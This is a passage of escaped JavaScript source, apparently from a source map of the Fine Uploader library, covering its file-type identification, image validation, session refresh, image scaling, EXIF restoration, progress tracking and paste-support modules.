(questionableBytes.indexOf(magicBytesArrayEntry) === 0) {\n                identifiable = true;\n                return false;\n            }\n        });\n\n        return identifiable;\n    }\n\n    qq.extend(this, {\n        /**\n         * Determines if a Blob can be displayed natively in the current browser.  This is done by reading magic\n         * bytes in the beginning of the file, so this is an asynchronous operation.  Before we attempt to read the\n         * file, we will examine the blob's type attribute to save CPU cycles.\n         *\n         * @returns {qq.Promise} Promise that is fulfilled when identification is complete.\n         * If successful, the MIME string is passed to the success handler.\n         */\n        isPreviewable: function() {\n            var self = this,\n                identifier = new qq.Promise(),\n                previewable = false,\n                name = fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name;\n\n            log(qq.format(\"Attempting to determine if {} can be rendered in this browser\", name));\n\n            log(\"First pass: check type attribute of blob object.\");\n\n            if (this.isPreviewableSync()) {\n                log(\"Second pass: check for magic bytes in file header.\");\n\n                qq.readBlobToHex(fileOrBlob, 0, 4).then(function(hex) {\n                    qq.each(self.PREVIEWABLE_MIME_TYPES, function(mime, bytes) {\n                        if (isIdentifiable(bytes, hex)) {\n                            // Safari is the only supported browser that can deal with TIFFs natively,\n                            // so, if this is a TIFF and the UA isn't Safari, declare this file \"non-previewable\".\n                            if (mime !== \"image/tiff\" || qq.supportedFeatures.tiffPreviews) {\n                                previewable = true;\n                                identifier.success(mime);\n                            }\n\n                            return false;\n                        }\n                    });\n\n                    log(qq.format(\"'{}' is {} able to be rendered in this browser\", name, previewable ? \"\" : \"NOT\"));\n\n                    if (!previewable) {\n                        identifier.failure();\n                    }\n                },\n                function() {\n                    log(\"Error reading file w/ name '\" + name + \"'.  Not able to be rendered in this browser.\");\n                    identifier.failure();\n                });\n            }\n            else {\n                identifier.failure();\n            }\n\n            return identifier;\n        },\n\n        /**\n         * Determines if a Blob can be displayed natively in the current browser.  This is done by checking the\n         * blob's type attribute.  This is a synchronous operation, useful for situations where an asynchronous operation\n         * would be challenging to support.  Note that the blob's type property is not as accurate as reading the\n         * file's magic bytes.\n         *\n         * @returns {Boolean} true if the blob can be rendered in the current browser\n         */\n        isPreviewableSync: function() {\n            var fileMime = fileOrBlob.type,\n                // Assumption: This will only ever be executed in browsers that support `Object.keys`.\n                isRecognizedImage = qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES), fileMime) >= 0,\n                previewable = false,\n                name = fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name;\n\n            if (isRecognizedImage) {\n                if (fileMime === \"image/tiff\") {\n                    previewable = qq.supportedFeatures.tiffPreviews;\n                }\n                else {\n                    previewable = true;\n                }\n            }\n\n            !previewable && log(name + \" is not previewable in this browser per the blob's type attr\");\n\n            return previewable;\n        }\n    });\n};\n\nqq.Identify.prototype.PREVIEWABLE_MIME_TYPES = {\n    \"image/jpeg\": \"ffd8ff\",\n    \"image/gif\": \"474946\",\n    \"image/png\": \"89504e\",\n    \"image/bmp\": \"424d\",\n    \"image/tiff\": [\"49492a00\", \"4d4d002a\"]\n};\n","/*globals qq*/\n/**\n * Attempts to validate an image, wherever possible.\n *\n * @param blob File or Blob representing a user-selecting image.\n * @param log Uses this to post log messages to the console.\n * @constructor\n */\nqq.ImageValidation = function(blob, log) {\n    \"use strict\";\n\n    /**\n     * @param limits Object with possible image-related limits to enforce.\n     * @returns {boolean} true if at least one of the limits has a non-zero value\n     */\n    function hasNonZeroLimits(limits) {\n        var atLeastOne = false;\n\n        qq.each(limits, function(limit, value) {\n            if (value > 0) {\n                atLeastOne = true;\n                return false;\n            }\n        });\n\n        return atLeastOne;\n    }\n\n    /**\n     * @returns {qq.Promise} The promise is a failure if we can't obtain the width & height.\n     * Otherwise, `success` is called on the returned promise with an object containing\n     * `width` and `height` properties.\n     */\n    function getWidthHeight() {\n        var sizeDetermination = new qq.Promise();\n\n        new qq.Identify(blob, log).isPreviewable().then(function() {\n            var image = new Image(),\n                url = window.URL && window.URL.createObjectURL ? window.URL :\n                      window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL :\n                      null;\n\n            if (url) {\n                image.onerror = function() {\n                    log(\"Cannot determine dimensions for image.  May be too large.\", \"error\");\n                    sizeDetermination.failure();\n                };\n\n                image.onload = function() {\n                    sizeDetermination.success({\n                        width: this.width,\n                        height: this.height\n                    });\n                };\n\n                image.src = url.createObjectURL(blob);\n            }\n            else {\n                log(\"No createObjectURL function available to generate image URL!\", \"error\");\n                sizeDetermination.failure();\n            }\n        }, sizeDetermination.failure);\n\n        return sizeDetermination;\n    }\n\n    /**\n     *\n     * @param limits Object with possible image-related limits to enforce.\n     * @param dimensions Object containing `width` & `height` properties for the image to test.\n     * @returns {String || undefined} The name of the failing limit.  Undefined if no failing limits.\n     */\n    function getFailingLimit(limits, dimensions) {\n        var failingLimit;\n\n        qq.each(limits, function(limitName, limitValue) {\n            if (limitValue > 0) {\n                var limitMatcher = /(max|min)(Width|Height)/.exec(limitName),\n                    dimensionPropName = limitMatcher[2].charAt(0).toLowerCase() + limitMatcher[2].slice(1),\n                    actualValue = dimensions[dimensionPropName];\n\n                /*jshint -W015*/\n                switch (limitMatcher[1]) {\n                    case \"min\":\n                        if (actualValue < limitValue) {\n                            failingLimit = limitName;\n                            return false;\n                        }\n                        break;\n                    case \"max\":\n                        if (actualValue > limitValue) {\n                            failingLimit = limitName;\n                            return false;\n                        }\n                        break;\n                }\n            }\n        });\n\n        return failingLimit;\n    }\n\n    /**\n     * Validate the associated blob.\n     *\n     * @param limits\n     * @returns {qq.Promise} `success` is called on the promise is the image is valid or\n     * if the blob is not an image, or if the image is not verifiable.\n     * Otherwise, `failure` with the name of the failing limit.\n     */\n    this.validate = function(limits) {\n        var validationEffort = new qq.Promise();\n\n        log(\"Attempting to validate image.\");\n\n        if (hasNonZeroLimits(limits)) {\n            getWidthHeight().then(function(dimensions) {\n                var failingLimit = getFailingLimit(limits, dimensions);\n\n                if (failingLimit) {\n                    validationEffort.failure(failingLimit);\n                }\n                else {\n                    validationEffort.success();\n                }\n            }, validationEffort.success);\n        }\n        else {\n            validationEffort.success();\n        }\n\n        return validationEffort;\n    };\n};\n","/* globals qq */\n/**\n * Module used to control populating the initial list of files.\n *\n * @constructor\n */\nqq.Session = function(spec) {\n    \"use strict\";\n\n    var options = {\n        endpoint: null,\n        params: {},\n        customHeaders: {},\n        cors: {},\n        addFileRecord: function(sessionData) {},\n        log: function(message, level) {}\n    };\n\n    qq.extend(options, spec, true);\n\n    function isJsonResponseValid(response) {\n        if (qq.isArray(response)) {\n            return true;\n        }\n\n        options.log(\"Session response is not an array.\", \"error\");\n    }\n\n    function handleFileItems(fileItems, success, xhrOrXdr, promise) {\n        var someItemsIgnored = false;\n\n        success = success && isJsonResponseValid(fileItems);\n\n        if (success) {\n            qq.each(fileItems, function(idx, fileItem) {\n                /* jshint eqnull:true */\n                if (fileItem.uuid == null) {\n                    someItemsIgnored = true;\n                    options.log(qq.format(\"Session response item {} did not include a valid UUID - ignoring.\", idx), \"error\");\n                }\n                else if (fileItem.name == null) {\n                    someItemsIgnored = true;\n                    options.log(qq.format(\"Session response item {} did not include a valid name - ignoring.\", idx), \"error\");\n                }\n                else {\n                    try {\n                        options.addFileRecord(fileItem);\n                        return true;\n                    }\n                    catch (err) {\n                        someItemsIgnored = true;\n                        options.log(err.message, \"error\");\n                    }\n                }\n\n                return false;\n            });\n        }\n\n        promise[success && !someItemsIgnored ? \"success\" : \"failure\"](fileItems, xhrOrXdr);\n    }\n\n    // Initiate a call to the server that will be used to populate the initial file list.\n    // Returns a `qq.Promise`.\n    this.refresh = function() {\n        /*jshint indent:false */\n        var refreshEffort = new qq.Promise(),\n            refreshCompleteCallback = function(response, success, xhrOrXdr) {\n                handleFileItems(response, success, xhrOrXdr, refreshEffort);\n            },\n            requesterOptions = qq.extend({}, options),\n            requester = new qq.SessionAjaxRequester(\n                qq.extend(requesterOptions, {onComplete: refreshCompleteCallback})\n            );\n\n        requester.queryServer();\n\n        return refreshEffort;\n    };\n};\n","/*globals qq, XMLHttpRequest*/\n/**\n * Thin module used to send GET requests to the server, expecting information about session\n * data used to initialize an uploader instance.\n *\n * @param spec Various options used to influence the associated request.\n * @constructor\n */\nqq.SessionAjaxRequester = function(spec) {\n    \"use strict\";\n\n    var requester,\n        options = {\n            endpoint: null,\n            customHeaders: {},\n            params: {},\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            onComplete: function(response, success, xhrOrXdr) {},\n            log: function(str, level) {}\n        };\n\n    qq.extend(options, spec);\n\n    function onComplete(id, xhrOrXdr, isError) {\n        var response = null;\n\n        /* jshint eqnull:true */\n        if (xhrOrXdr.responseText != null) {\n            try {\n                response = qq.parseJson(xhrOrXdr.responseText);\n            }\n            catch (err) {\n                options.log(\"Problem parsing session response: \" + err.message, \"error\");\n                isError = true;\n            }\n        }\n\n        options.onComplete(response, !isError, xhrOrXdr);\n    }\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [\"GET\"],\n        method: \"GET\",\n        endpointStore: {\n            get: function() {\n                return options.endpoint;\n            }\n        },\n        customHeaders: options.customHeaders,\n        log: options.log,\n        onComplete: onComplete,\n        cors: options.cors\n    }));\n\n    qq.extend(this, {\n        queryServer: function() {\n            var params = qq.extend({}, options.params);\n\n            options.log(\"Session query request.\");\n\n            requester.initTransport(\"sessionRefresh\")\n                .withParams(params)\n                .withCacheBuster()\n                .send();\n        }\n    });\n};\n","/* globals qq, ExifRestorer */\n/**\n * Controls generation of scaled images based on a reference image encapsulated in a `File` or `Blob`.\n * Scaled images are generated and converted to blobs on-demand.\n * Multiple scaled images per reference image with varying sizes and other properties are supported.\n *\n * @param spec Information about the scaled images to generate.\n * @param log Logger instance\n * @constructor\n */\nqq.Scaler = function(spec, log) {\n    \"use strict\";\n\n    var self = this,\n        customResizeFunction = spec.customResizer,\n        includeOriginal = spec.sendOriginal,\n        orient = spec.orient,\n        defaultType = spec.defaultType,\n        defaultQuality = spec.defaultQuality / 100,\n        failedToScaleText = spec.failureText,\n        includeExif = spec.includeExif,\n        sizes = this._getSortedSizes(spec.sizes);\n\n    // Revealed API for instances of this module\n    qq.extend(this, {\n        // If no targeted sizes have been declared or if this browser doesn't support\n        // client-side image preview generation, there is no scaling to do.\n        enabled: qq.supportedFeatures.scaling && sizes.length > 0,\n\n        getFileRecords: function(originalFileUuid, originalFileName, originalBlobOrBlobData) {\n            var self = this,\n                records = [],\n                originalBlob = originalBlobOrBlobData.blob ? originalBlobOrBlobData.blob : originalBlobOrBlobData,\n                identifier = new qq.Identify(originalBlob, log);\n\n            // If the reference file cannot be rendered natively, we can't create scaled versions.\n            if (identifier.isPreviewableSync()) {\n                // Create records for each scaled version & add them to the records array, smallest first.\n                qq.each(sizes, function(idx, sizeRecord) {\n                    var outputType = self._determineOutputType({\n                        defaultType: defaultType,\n                        requestedType: sizeRecord.type,\n                        refType: originalBlob.type\n                    });\n\n                    records.push({\n                        uuid: qq.getUniqueId(),\n                        name: self._getName(originalFileName, {\n                            name: sizeRecord.name,\n                            type: outputType,\n                            refType: originalBlob.type\n                        }),\n                        blob: new qq.BlobProxy(originalBlob,\n                        qq.bind(self._generateScaledImage, self, {\n                            customResizeFunction: customResizeFunction,\n                            maxSize: sizeRecord.maxSize,\n                            orient: orient,\n                            type: outputType,\n                            quality: defaultQuality,\n                            failedText: failedToScaleText,\n                            includeExif: includeExif,\n                            log: log\n                        }))\n                    });\n                });\n\n                records.push({\n                    uuid: originalFileUuid,\n                    name: originalFileName,\n                    size: originalBlob.size,\n                    blob: includeOriginal ? originalBlob : null\n                });\n            }\n            else {\n                records.push({\n                    uuid: originalFileUuid,\n                    name: originalFileName,\n                    size: originalBlob.size,\n                    blob: originalBlob\n                });\n            }\n\n            return records;\n        },\n\n        handleNewFile: function(file, name, uuid, size, fileList, batchId, uuidParamName, api) {\n            var self = this,\n                buttonId = file.qqButtonId || (file.blob && file.blob.qqButtonId),\n                scaledIds = [],\n                originalId = null,\n                addFileToHandler = api.addFileToHandler,\n                uploadData = api.uploadData,\n                paramsStore = api.paramsStore,\n                proxyGroupId = qq.getUniqueId();\n\n            qq.each(self.getFileRecords(uuid, name, file), function(idx, record) {\n                var blobSize = record.size,\n                    id;\n\n                if (record.blob instanceof qq.BlobProxy) {\n                    blobSize = -1;\n                }\n\n                id = uploadData.addFile({\n                    uuid: record.uuid,\n                    name: record.name,\n                    size: blobSize,\n                    batchId: batchId,\n                    proxyGroupId: proxyGroupId\n                });\n\n                if (record.blob instanceof qq.BlobProxy) {\n                    scaledIds.push(id);\n                }\n                else {\n                    originalId = id;\n                }\n\n                if (record.blob) {\n                    addFileToHandler(id, record.blob);\n                    fileList.push({id: id, file: record.blob});\n                }\n                else {\n                    uploadData.setStatus(id, qq.status.REJECTED);\n                }\n            });\n\n            // If we are potentially uploading an original file and some scaled versions,\n            // ensure the scaled versions include reference's to the parent's UUID and size\n            // in their associated upload requests.\n            if (originalId !== null) {\n                qq.each(scaledIds, function(idx, scaledId) {\n                    var params = {\n                        qqparentuuid: uploadData.retrieve({id: originalId}).uuid,\n                        qqparentsize: uploadData.retrieve({id: originalId}).size\n                    };\n\n                    // Make sure the UUID for each scaled image is sent with the upload request,\n                    // to be consistent (since we may need to ensure it is sent for the original file as well).\n                    params[uuidParamName] = uploadData.retrieve({id: scaledId}).uuid;\n\n                    uploadData.setParentId(scaledId, originalId);\n                    paramsStore.addReadOnly(scaledId, params);\n                });\n\n                // If any scaled images are tied to this parent image, be SURE we send its UUID as an upload request\n                // parameter as well.\n                if (scaledIds.length) {\n                    (function() {\n                        var param = {};\n                        param[uuidParamName] = uploadData.retrieve({id: originalId}).uuid;\n                        paramsStore.addReadOnly(originalId, param);\n                    }());\n                }\n            }\n        }\n    });\n};\n\nqq.extend(qq.Scaler.prototype, {\n    scaleImage: function(id, specs, api) {\n        \"use strict\";\n\n        if (!qq.supportedFeatures.scaling) {\n            throw new qq.Error(\"Scaling is not supported in this browser!\");\n        }\n\n        var scalingEffort = new qq.Promise(),\n            log = api.log,\n            file = api.getFile(id),\n            uploadData = api.uploadData.retrieve({id: id}),\n            name = uploadData && uploadData.name,\n            uuid = uploadData && uploadData.uuid,\n            scalingOptions = {\n                customResizer: specs.customResizer,\n                sendOriginal: false,\n                orient: specs.orient,\n                defaultType: specs.type || null,\n                defaultQuality: specs.quality,\n                failedToScaleText: \"Unable to scale\",\n                sizes: [{name: \"\", maxSize: specs.maxSize}]\n            },\n            scaler = new qq.Scaler(scalingOptions, log);\n\n        if (!qq.Scaler || !qq.supportedFeatures.imagePreviews || !file) {\n            scalingEffort.failure();\n\n            log(\"Could not generate requested scaled image for \" + id + \".  \" +\n                \"Scaling is either not possible in this browser, or the file could not be located.\", \"error\");\n        }\n        else {\n            (qq.bind(function() {\n                // Assumption: There will never be more than one record\n                var record = scaler.getFileRecords(uuid, name, file)[0];\n\n                if (record && record.blob instanceof qq.BlobProxy) {\n                    record.blob.create().then(scalingEffort.success, scalingEffort.failure);\n                }\n                else {\n                    log(id + \" is not a scalable image!\", \"error\");\n                    scalingEffort.failure();\n                }\n            }, this)());\n        }\n\n        return scalingEffort;\n    },\n\n    // NOTE: We cannot reliably determine at this time if the UA supports a specific MIME type for the target format.\n    // image/jpeg and image/png are the only safe choices at this time.\n    _determineOutputType: function(spec) {\n        \"use strict\";\n\n        var requestedType = spec.requestedType,\n            defaultType = spec.defaultType,\n            referenceType = spec.refType;\n\n        // If a default type and requested type have not been specified, this should be a\n        // JPEG if the original type is a JPEG, otherwise, a PNG.\n        if (!defaultType && !requestedType) {\n            if (referenceType !== \"image/jpeg\") {\n                return \"image/png\";\n            }\n            return referenceType;\n        }\n\n        // A specified default type is used when a requested type is not specified.\n        if (!requestedType) {\n            return defaultType;\n        }\n\n        // If requested type is specified, use it, as long as this recognized type is supported by the current UA\n        if (qq.indexOf(Object.keys(qq.Identify.prototype.PREVIEWABLE_MIME_TYPES), requestedType) >= 0) {\n            if (requestedType === \"image/tiff\") {\n                return qq.supportedFeatures.tiffPreviews ? requestedType : defaultType;\n            }\n\n            return requestedType;\n        }\n\n        return defaultType;\n    },\n\n    // Get a file name for a generated scaled file record, based on the provided scaled image description\n    _getName: function(originalName, scaledVersionProperties) {\n        \"use strict\";\n\n        var startOfExt = originalName.lastIndexOf(\".\"),\n            versionType = scaledVersionProperties.type || \"image/png\",\n            referenceType = scaledVersionProperties.refType,\n            scaledName = \"\",\n            scaledExt = qq.getExtension(originalName),\n            nameAppendage = \"\";\n\n        if (scaledVersionProperties.name && scaledVersionProperties.name.trim().length) {\n            nameAppendage = \" (\" + scaledVersionProperties.name + \")\";\n        }\n\n        if (startOfExt >= 0) {\n            scaledName = originalName.substr(0, startOfExt);\n\n            if (referenceType !== versionType) {\n                scaledExt = versionType.split(\"/\")[1];\n            }\n\n            scaledName += nameAppendage + \".\" + scaledExt;\n        }\n        else {\n            scaledName = originalName + nameAppendage;\n        }\n\n        return scaledName;\n    },\n\n    // We want the smallest scaled file to be uploaded first\n    _getSortedSizes: function(sizes) {\n        \"use strict\";\n\n        sizes = qq.extend([], sizes);\n\n        return sizes.sort(function(a, b) {\n            if (a.maxSize > b.maxSize) {\n                return 1;\n            }\n            if (a.maxSize < b.maxSize) {\n                return -1;\n            }\n            return 0;\n        });\n    },\n\n    _generateScaledImage: function(spec, sourceFile) {\n        \"use strict\";\n\n        var self = this,\n            customResizeFunction = spec.customResizeFunction,\n            log = spec.log,\n            maxSize = spec.maxSize,\n            orient = spec.orient,\n            type = spec.type,\n            quality = spec.quality,\n            failedText = spec.failedText,\n            includeExif = spec.includeExif && sourceFile.type === \"image/jpeg\" && type === \"image/jpeg\",\n            scalingEffort = new qq.Promise(),\n            imageGenerator = new qq.ImageGenerator(log),\n            canvas = document.createElement(\"canvas\");\n\n        log(\"Attempting to generate scaled version for \" + sourceFile.name);\n\n        imageGenerator.generate(sourceFile, canvas, {maxSize: maxSize, orient: orient, customResizeFunction: customResizeFunction}).then(function() {\n            var scaledImageDataUri = canvas.toDataURL(type, quality),\n                signalSuccess = function() {\n                    log(\"Success generating scaled version for \" + sourceFile.name);\n                    var blob = qq.dataUriToBlob(scaledImageDataUri);\n                    scalingEffort.success(blob);\n                };\n\n            if (includeExif) {\n                self._insertExifHeader(sourceFile, scaledImageDataUri, log).then(function(scaledImageDataUriWithExif) {\n                    scaledImageDataUri = scaledImageDataUriWithExif;\n                    signalSuccess();\n                },\n                function() {\n                    log(\"Problem inserting EXIF header into scaled image.  Using scaled image w/out EXIF data.\", \"error\");\n                    signalSuccess();\n                });\n            }\n            else {\n                signalSuccess();\n            }\n        }, function() {\n            log(\"Failed attempt to generate scaled version for \" + sourceFile.name, \"error\");\n            scalingEffort.failure(failedText);\n        });\n\n        return scalingEffort;\n    },\n\n    // Attempt to insert the original image's EXIF header into a scaled version.\n    _insertExifHeader: function(originalImage, scaledImageDataUri, log) {\n        \"use strict\";\n\n        var reader = new FileReader(),\n            insertionEffort = new qq.Promise(),\n            originalImageDataUri = \"\";\n\n        reader.onload = function() {\n            originalImageDataUri = reader.result;\n            insertionEffort.success(qq.ExifRestorer.restore(originalImageDataUri, scaledImageDataUri));\n        };\n\n        reader.onerror = function() {\n            log(\"Problem reading \" + originalImage.name + \" during attempt to transfer EXIF data to scaled version.\", \"error\");\n            insertionEffort.failure();\n        };\n\n        reader.readAsDataURL(originalImage);\n\n        return insertionEffort;\n    },\n\n    _dataUriToBlob: function(dataUri) {\n        \"use strict\";\n\n        var byteString, mimeString, arrayBuffer, intArray;\n\n        // convert base64 to raw binary data held in a string\n        if (dataUri.split(\",\")[0].indexOf(\"base64\") >= 0) {\n            byteString = atob(dataUri.split(\",\")[1]);\n        }\n        else {\n            byteString = decodeURI(dataUri.split(\",\")[1]);\n        }\n\n        // extract the MIME\n        mimeString = dataUri.split(\",\")[0]\n            .split(\":\")[1]\n            .split(\";\")[0];\n\n        // write the bytes of the binary string to an ArrayBuffer\n        arrayBuffer = new ArrayBuffer(byteString.length);\n        intArray = new Uint8Array(arrayBuffer);\n        qq.each(byteString, function(idx, character) {\n            intArray[idx] = character.charCodeAt(0);\n        });\n\n        return this._createBlob(arrayBuffer, mimeString);\n    },\n\n    _createBlob: function(data, mime) {\n        \"use strict\";\n\n        var BlobBuilder = window.BlobBuilder ||\n                window.WebKitBlobBuilder ||\n                window.MozBlobBuilder ||\n                window.MSBlobBuilder,\n            blobBuilder = BlobBuilder && new BlobBuilder();\n\n        if (blobBuilder) {\n            blobBuilder.append(data);\n            return blobBuilder.getBlob(mime);\n        }\n        else {\n            return new Blob([data], {type: mime});\n        }\n    }\n});\n","//Based on MinifyJpeg\n//http://elicon.blog57.fc2.com/blog-entry-206.html\n\nqq.ExifRestorer = (function()\n{\n   \n\tvar ExifRestorer = {};\n\t \n    ExifRestorer.KEY_STR = \"ABCDEFGHIJKLMNOP\" +\n                         \"QRSTUVWXYZabcdef\" +\n                         \"ghijklmnopqrstuv\" +\n                         \"wxyz0123456789+/\" +\n                         \"=\";\n\n    ExifRestorer.encode64 = function(input)\n    {\n        var output = \"\",\n            chr1, chr2, chr3 = \"\",\n            enc1, enc2, enc3, enc4 = \"\",\n            i = 0;\n\n        do {\n            chr1 = input[i++];\n            chr2 = input[i++];\n            chr3 = input[i++];\n\n            enc1 = chr1 >> 2;\n            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);\n            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);\n            enc4 = chr3 & 63;\n\n            if (isNaN(chr2)) {\n               enc3 = enc4 = 64;\n            } else if (isNaN(chr3)) {\n               enc4 = 64;\n            }\n\n            output = output +\n               this.KEY_STR.charAt(enc1) +\n               this.KEY_STR.charAt(enc2) +\n               this.KEY_STR.charAt(enc3) +\n               this.KEY_STR.charAt(enc4);\n            chr1 = chr2 = chr3 = \"\";\n            enc1 = enc2 = enc3 = enc4 = \"\";\n        } while (i < input.length);\n\n        return output;\n    };\n    \n    ExifRestorer.restore = function(origFileBase64, resizedFileBase64)\n    {\n        var expectedBase64Header = \"data:image/jpeg;base64,\";\n\n        if (!origFileBase64.match(expectedBase64Header))\n        {\n        \treturn resizedFileBase64;\n        }       \n        \n        var rawImage = this.decode64(origFileBase64.replace(expectedBase64Header, \"\"));\n        var segments = this.slice2Segments(rawImage);\n                \n        var image = this.exifManipulation(resizedFileBase64, segments);\n        \n        return expectedBase64Header + this.encode64(image);\n        \n    };\n\n\n    ExifRestorer.exifManipulation = function(resizedFileBase64, segments)\n    {\n            var exifArray = this.getExifArray(segments),\n                newImageArray = this.insertExif(resizedFileBase64, exifArray),\n                aBuffer = new Uint8Array(newImageArray);\n\n            return aBuffer;\n    };\n\n\n    ExifRestorer.getExifArray = function(segments)\n    {\n            var seg;\n            for (var x = 0; x < segments.length; x++)\n            {\n                seg = segments[x];\n                if (seg[0] == 255 & seg[1] == 225) //(ff e1)\n                {\n                    return seg;\n                }\n            }\n            return [];\n    };\n\n\n    ExifRestorer.insertExif = function(resizedFileBase64, exifArray)\n    {\n            var imageData = resizedFileBase64.replace(\"data:image/jpeg;base64,\", \"\"),\n                buf = this.decode64(imageData),\n                separatePoint = buf.indexOf(255,3),\n                mae = buf.slice(0, separatePoint),\n                ato = buf.slice(separatePoint),\n                array = mae;\n\n            array = array.concat(exifArray);\n            array = array.concat(ato);\n           return array;\n    };\n\n\n    \n    ExifRestorer.slice2Segments = function(rawImageArray)\n    {\n        var head = 0,\n            segments = [];\n\n        while (1)\n        {\n            if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 218){break;}\n            if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 216)\n            {\n                head += 2;\n            }\n            else\n            {\n                var length = rawImageArray[head + 2] * 256 + rawImageArray[head + 3],\n                    endPoint = head + length + 2,\n                    seg = rawImageArray.slice(head, endPoint);\n                segments.push(seg);\n                head = endPoint;\n            }\n            if (head > rawImageArray.length){break;}\n        }\n\n        return segments;\n    };\n\n\n    \n    ExifRestorer.decode64 = function(input) \n    {\n        var output = \"\",\n            chr1, chr2, chr3 = \"\",\n            enc1, enc2, enc3, enc4 = \"\",\n            i = 0,\n            buf = [];\n\n        // remove all characters that are not A-Z, a-z, 0-9, +, /, or =\n        var base64test = /[^A-Za-z0-9\\+\\/\\=]/g;\n        if (base64test.exec(input)) {\n            throw new Error(\"There were invalid base64 characters in the input text.  \" +\n                \"Valid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='\");\n        }\n        input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \"\");\n\n        do {\n            enc1 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc2 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc3 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc4 = this.KEY_STR.indexOf(input.charAt(i++));\n\n            chr1 = (enc1 << 2) | (enc2 >> 4);\n            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);\n            chr3 = ((enc3 & 3) << 6) | enc4;\n\n            buf.push(chr1);\n\n            if (enc3 != 64) {\n               buf.push(chr2);\n            }\n            if (enc4 != 64) {\n               buf.push(chr3);\n            }\n\n            chr1 = chr2 = chr3 = \"\";\n            enc1 = enc2 = enc3 = enc4 = \"\";\n\n        } while (i < input.length);\n\n        return buf;\n    };\n\n    \n    return ExifRestorer;\n})();\n","/* globals qq */\n/**\n * Keeps a running tally of total upload progress for a batch of files.\n *\n * @param callback Invoked when total progress changes, passing calculated total loaded & total size values.\n * @param getSize Function that returns the size of a file given its ID\n * @constructor\n */\nqq.TotalProgress = function(callback, getSize) {\n    \"use strict\";\n\n    var perFileProgress = {},\n        totalLoaded = 0,\n        totalSize = 0,\n\n        lastLoadedSent = -1,\n        lastTotalSent = -1,\n        callbackProxy = function(loaded, total) {\n            if (loaded !== lastLoadedSent || total !== lastTotalSent) {\n                callback(loaded, total);\n            }\n\n            lastLoadedSent = loaded;\n            lastTotalSent = total;\n        },\n\n        /**\n         * @param failed Array of file IDs that have failed\n         * @param retryable Array of file IDs that are retryable\n         * @returns true if none of the failed files are eligible for retry\n         */\n        noRetryableFiles = function(failed, retryable) {\n            var none = true;\n\n            qq.each(failed, function(idx, failedId) {\n                if (qq.indexOf(retryable, failedId) >= 0) {\n                    none = false;\n                    return false;\n                }\n            });\n\n            return none;\n        },\n\n        onCancel = function(id) {\n            updateTotalProgress(id, -1, -1);\n            delete perFileProgress[id];\n        },\n\n        onAllComplete = function(successful, failed, retryable) {\n            if (failed.length === 0 || noRetryableFiles(failed, retryable)) {\n                callbackProxy(totalSize, totalSize);\n                this.reset();\n            }\n        },\n\n        onNew = function(id) {\n            var size = getSize(id);\n\n            // We might not know the size yet, such as for blob proxies\n            if (size > 0) {\n                updateTotalProgress(id, 0, size);\n                perFileProgress[id] = {loaded: 0, total: size};\n            }\n        },\n\n        /**\n         * Invokes the callback with the current total progress of all files in the batch.  Called whenever it may\n         * be appropriate to re-calculate and disseminate this data.\n         *\n         * @param id ID of a file that has changed in some important way\n         * @param newLoaded New loaded value for this file.  -1 if this value should no longer be part of calculations\n         * @param newTotal New total size of the file.  -1 if this value should no longer be part of calculations\n         */\n        updateTotalProgress = function(id, newLoaded, newTotal) {\n            var oldLoaded = perFileProgress[id] ? perFileProgress[id].loaded : 0,\n                oldTotal = perFileProgress[id] ? perFileProgress[id].total : 0;\n\n            if (newLoaded === -1 && newTotal === -1) {\n                totalLoaded -= oldLoaded;\n                totalSize -= oldTotal;\n            }\n            else {\n                if (newLoaded) {\n                    totalLoaded += newLoaded - oldLoaded;\n                }\n                if (newTotal) {\n                    totalSize += newTotal - oldTotal;\n                }\n            }\n\n            callbackProxy(totalLoaded, totalSize);\n        };\n\n    qq.extend(this, {\n        // Called when a batch of files has completed uploading.\n        onAllComplete: onAllComplete,\n\n        // Called when the status of a file has changed.\n        onStatusChange: function(id, oldStatus, newStatus) {\n            if (newStatus === qq.status.CANCELED || newStatus === qq.status.REJECTED) {\n                onCancel(id);\n            }\n            else if (newStatus === qq.status.SUBMITTING) {\n                onNew(id);\n            }\n        },\n\n        // Called whenever the upload progress of an individual file has changed.\n        onIndividualProgress: function(id, loaded, total) {\n            updateTotalProgress(id, loaded, total);\n            perFileProgress[id] = {loaded: loaded, total: total};\n        },\n\n        // Called whenever the total size of a file has changed, such as when the size of a generated blob is known.\n        onNewSize: function(id) {\n            onNew(id);\n        },\n\n        reset: function() {\n            perFileProgress = {};\n            totalLoaded = 0;\n            totalSize = 0;\n        }\n    });\n};\n","/*globals qq*/\nqq.PasteSupport = function(o) {\n    \"use strict\";\n\n    var options, detachPasteHandler;\n\n    options = {\n        targetElement: null,\n        callbacks: {\n            log: function(message, level) {},\n            pasteReceived: function(blob) {}\n        }\n    };\n\n    function isImage(item) {\n        return item.type &&\n            item.type.indexOf(\"image/\") === 0;\n    }\n\n    function registerPasteHandler() {\n        detachPasteHandler = qq(options.targetElement).attach(\"paste\", function(event) {\n            var clipboardData = event.clipboardData;\n\n            if (clipboardData) {\n                qq.each(clipboardData.items, function(idx, item) {\n                    if (isImage(item)) {\n                        var blob = item.getAsFile();\n                        options.callbacks.pasteReceived(blob);\n                    }\n                });\n            }\n        });\n    }\n\n    function unregisterPasteHandler() {\n        if (detachPasteHandler) {\n            detachPasteHandler();\n        }\n    }\n\n    qq.extend(options, o);\n    registerPasteHandler();\n\n    qq.extend(this, {\n        reset: function() {\n            unregisterPasteHandler();\n        }\n    });\n};\n","/* globals qq */\n/**\n * Module that handles support for existing forms.\n *\n * @param options Options passed from the integrator-supplied options related to form support.\n * @param startUpload Callback to invoke when files \"stored\" should be uploaded.\n * @param log Proxy for the logger\n * @constructor\n */\nqq.FormSupport = function(options, startUpload, log) {\n    \"use strict\";\n    